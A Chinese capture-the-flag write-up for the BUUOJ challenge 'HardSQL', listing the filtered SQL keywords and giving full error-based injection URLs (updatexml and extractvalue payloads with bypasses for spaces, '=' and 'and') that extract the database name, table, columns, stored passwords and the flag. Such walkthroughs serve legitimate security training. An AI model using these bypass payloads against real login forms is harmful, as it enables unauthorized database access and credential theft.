[极客大挑战 2019]HardSQL

[极客大挑战 2019]HardSQL

注入点分析

username、password均可注入
在这里插入图片描述
在这里插入图片描述

摸清过滤点

经过手工测试过滤了and、=、空格 、union、-、#、+、*等多个sql关键字

使用()来代替空格,使用like来代替=号,然后可以使用^替代and

采用报错注入、得出数据库geek

http://e6fc980a-f7d3-4efe-b2eb-8509aa07bd52.node4.buuoj.cn/check.php?username=admin&password=1234’or(updatexml(1,concat(0x7e,database(),0x7e),1));#
在这里插入图片描述

表名、~H4rDsq1

http://e6fc980a-f7d3-4efe-b2eb-8509aa07bd52.node4.buuoj.cn/check.php?username=admin&password=123’extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where((table_schema)like(‘geek’)))))(‘1’)like’1

在这里插入图片描述

字段名

http://61c6624e-cde2-4ffc-ad2b-7fd77b2d0103.node4.buuoj.cn/check.php?username=admin&password=123’^updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like(‘H4rDsq1’)),0x7e),1);%23

在这里插入图片描述

数据

http://61c6624e-cde2-4ffc-ad2b-7fd77b2d0103.node4.buuoj.cn/check.php?username=admin&password=123’^updatexml(1,concat(0x7e,(select(group_concat(username,’%’,password))from(H4rDsq1)),0x7e),1);%23

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-FxnN8YXJ-1625290333380)(C:\Users\Administrator\AppData\Roaming\Typora\typora-user-images\image-20210703132136049.png)]

只有半条数据,用left、right拼接

http://61c6624e-cde2-4ffc-ad2b-7fd77b2d0103.node4.buuoj.cn/check.php?username=admin&password=123’^updatexml(1,concat(0x7e,(select(group_concat((left(password,100))))from(H4rDsq1)),0x7e),1);%23

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-kTwh2wf5-1625290333382)(C:\Users\Administrator\AppData\Roaming\Typora\typora-user-images\image-20210703132400832.png)]

http://61c6624e-cde2-4ffc-ad2b-7fd77b2d0103.node4.buuoj.cn/check.php?username=admin&password=123’^updatexml(1,concat(0x7e,(select(group_concat((right(password,11))))from(H4rDsq1)),0x7e),1);%23

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-bJ2GnqzE-1625290333383)(C:\Users\Administrator\AppData\Roaming\Typora\typora-user-images\image-20210703132528163.png)]

得出flag

flag{f616df49-1b58-44e5-8302-1101ee90f3fa}

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值